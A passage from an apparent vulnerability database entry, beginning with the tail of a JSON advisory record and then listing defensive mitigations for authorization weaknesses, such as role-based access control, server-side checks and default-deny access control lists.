"url": "https://security.netapp.com/advisory/NTAP-20200902-0001"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.